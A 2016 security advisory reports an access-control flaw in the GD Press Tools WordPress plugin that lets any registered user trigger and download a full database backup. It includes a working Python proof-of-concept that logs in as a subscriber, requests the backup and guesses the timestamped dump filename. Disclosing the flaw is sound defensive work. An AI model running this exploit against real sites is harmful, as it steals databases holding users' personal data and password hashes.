GD Press Tools [Sensitive Data Exposure]
GD Press Tools plugin for WordPress suffers from a Data Exposure vulnerability
Description
GD Press Tools plugin for WordPress suffers from a Data Exposure vulnerability.
Plugin hooks a function to admin_init
WordPress action which in turn executes the method gdPTAdmin::init_operations()
. This method doesn’t check user rights before executing a list of predefined actions. One of those actions is the creation of a file that contains a back up of the database.
Any registered user can execute this action in order to create a file containing a DB dump. This file is created in wp-content/gdbackup
directory and the file name has is of format 'db<em>backup</em>'.date('ymd_His').'.sql'
. The folder that this file is created in has no protection by default so accessing the created file is trivial.
PoC
#!/usr/bin/python3
################################################################################
# GD Press Tools - Sensitive Data Exposure PoC
#
# Author: Pan Vag <[email protected]>
################################################################################
import requests
from datetime import datetime
from email.utils import parsedate_tz, mktime_tz
baseUrl = 'http://example.com'
loginUrl = baseUrl + '/wp-login.php'
adminUrl = baseUrl + '/wp-admin/index.php'
dumpDir = baseUrl + '/wp-content/gdbackup/'
loginPostData = {
'log': 'subscriber',
'pwd': 'password',
'rememberme': 'forever',
'wp-submit': 'Log+In'
}
s = requests.Session()
r = s.post(loginUrl, loginPostData)
if r.status_code != 200:
print('Login error')
exit(1)
if 'Date' in r.headers:
dt = datetime.strptime(r.headers['Date'], '%a, %d %b %Y %H:%M:%S %Z')
st = datetime.time(dt)
d = datetime.date(dt)
else:
st = datetime.time(datetime.now())
d = datetime.date(datetime.now())
r = s.post(adminUrl, data={'gdpt_backup_run': 1})
if 'Date' in r.headers:
et = datetime.time(
datetime.strptime(r.headers['Date'], '%a, %d %b %Y %H:%M:%S %Z')
)
else:
et = datetime.time(datetime.now())
pre = d.strftime('%y%m%d_') + st.strftime('%H%M')
for sec in range(st.second, et.second + 1):
fileUrl = dumpDir + 'db_backup_' + pre + str(sec) + '.sql'
r = s.get(fileUrl)
if r.status_code == 200:
f = open('dump.sql', 'w')
f.write(r.text)
f.close()
print('File saved')
break
if r.status_code != 200:
print('Something went wrong')
exit(1)
exit(0)
Solution
As of 2016-02-18 vendor stated that this plugin is discontinued and won’t resolve this issue. The only available solution is to remove this plugin.
- 16 February 2016
- Pan Vag
- www.dev4press.com
- wordpress.org
- WordPress 4.4.2
- DWF-2016-87002
- 2016-02-17:
Vendor notified through wordpress.org support forums - 2016-02-18:
Vendor notified through contact form in his website - 2016-02-18:
Notified security at wordpress.org and plugins at wordpress.org - 2016-02-23:
Plugin was taken down by wordpress.org plugins team